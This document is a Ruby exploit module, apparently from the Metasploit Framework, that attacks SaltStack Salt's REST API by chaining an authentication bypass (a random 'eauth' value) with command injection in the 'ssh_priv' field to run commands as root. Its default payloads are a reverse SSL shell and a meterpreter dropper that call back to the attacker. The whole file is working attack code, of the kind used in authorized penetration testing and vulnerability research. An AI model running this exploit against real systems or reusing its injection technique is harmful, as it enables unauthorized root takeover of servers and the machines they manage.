##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt REST API Arbitrary Command Execution',
'Description' => %q{
This module exploits an authentication bypass and command injection in
SaltStack Salt's REST API to execute commands as the root user.
The following versions have received a patch: 2015.8.10, 2015.8.13,
2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,
2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,
3001.1, 3001.2, and 3002.
Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.
},
'Author' => [
'KPC', # CVE-2020-16846 (ZDI-CAN-11143)
'wvu' # Exploit
],
'References' => [
['CVE', '2020-16846'], # Command injection
['CVE', '2020-25592'], # Auth bypass
['URL', 'https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/']
],
'DisclosureDate' => '2020-11-03', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = execute_command('')
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
# Server: CherryPy/18.6.0
unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
return CheckCode::Unknown('Target does not appear to be running Salt.')
end
# {"return": [{}]}
unless res.code == 200 && res.get_json_document['return'] == [{}]
return CheckCode::Safe('Auth bypass failed.')
end
CheckCode::Vulnerable('Auth bypass successful.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(background: true)
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}") unless cmd.empty?
# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
# https://github.com/saltstack/salt/pull/58871
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run'),
'ctype' => 'application/json',
'data' => {
'client' => 'ssh',
'tgt' => '*',
'fun' => rand_text_alphanumeric(8..42),
'eauth' => rand_text_alphanumeric(8..42), # Auth bypass
'ssh_priv' => "/dev/null < /dev/null; (#{cmd}) & #" # Command injection
}.to_json
)
end
end
